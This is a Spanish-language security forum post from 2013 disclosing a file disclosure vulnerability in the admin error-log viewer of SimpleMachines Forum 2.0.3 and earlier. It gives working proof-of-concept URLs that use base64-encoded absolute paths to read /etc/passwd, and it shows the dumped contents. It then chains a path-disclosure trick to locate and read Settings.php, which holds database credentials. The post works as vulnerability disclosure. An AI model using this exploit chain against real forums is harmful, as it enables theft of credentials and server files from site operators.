elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  File Disclosure en SimpleMachines Forum <= 2.0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: File Disclosure en SimpleMachines Forum <= 2.0.3  (Leído 2,090 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
File Disclosure en SimpleMachines Forum <= 2.0.3
« en: 7 Enero 2013, 16:17 pm »

Algunos me han preguntado para que sirve esta vulnerabilidad:
http://whk.drawcoders.net/index.php/topic,2792.0.html

Otros dicen que no sirve para nada o que el impacto es nulo.

Pues acá les voy a dejar una demosración:

Hace unos minutos encontré otra falla de seguridad en el panel de administración, especificamente en el lector de archivos de errores.

Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog

Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
Código
  1. // Make sure the file we are looking for is one they are allowed to look at
  2.     if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
  3.         fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file)));

Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
Código:
strpos($file, '../')

Ahora, vemos que no necesitamos el string "../" para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.

La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=

donde file es /etc/passwd en base64:
Citar
1:     root:x:0:0:root:/root:/bin/bash
2:     bin:x:1:1:bin:/bin:/sbin/nologin
3:     daemon:x:2:2:daemon:/sbin:/sbin/nologin
4:     adm:x:3:4:adm:/var/adm:/sbin/nologin
5:     lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6:     sync:x:5:0:sync:/sbin:/bin/sync
7:     shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8:     halt:x:7:0:halt:/sbin:/sbin/halt
9:     mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10:     news:x:9:13:news:/etc/news:
11:     uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12:     operator:x:11:0:operator:/root:/sbin/nologin
13:     games:x:12:100:games:/usr/games:/sbin/nologin
14:     gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15:     ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16:     nobody:x:99:99:Nobody:/:/sbin/nologin
17:     mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18:     smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19:     apache:x:48:48:Apache:/var/www:/sbin/nologin
20:     nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

Ahora... que pasa si queremos obtener un archivo oculto del foro? digamos la conexión de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta :D asi que hacemos lo siguiente....

Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Citar<blockquote>Warning: Missing argument 1 for ssi_fetchPosts() in /home/spadmin/public_html/SSI.php on line 316</blockquote>

Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=

Donde "L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=" es igual a "/home/spadmin/public_html/Settings.php"

De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.

Saludos.

Fuente:
http://whk.drawcoders.net/index.php/topic,2805.0.html
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda con Remote File Disclosure
PHP
pedrox@ 1 1,670 Último mensaje 13 Agosto 2008, 16:26 pm
por Diabliyo
sobre Remote File Disclosure
Nivel Web
sancakoky 2 3,404 Último mensaje 23 Noviembre 2010, 12:31 pm
por sancakoky
Path Disclusore en SimpleMachines Forum <= 2.0.3
Nivel Web
WHK 1 3,485 Último mensaje 7 Enero 2013, 02:21 am
por ameise_1987
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines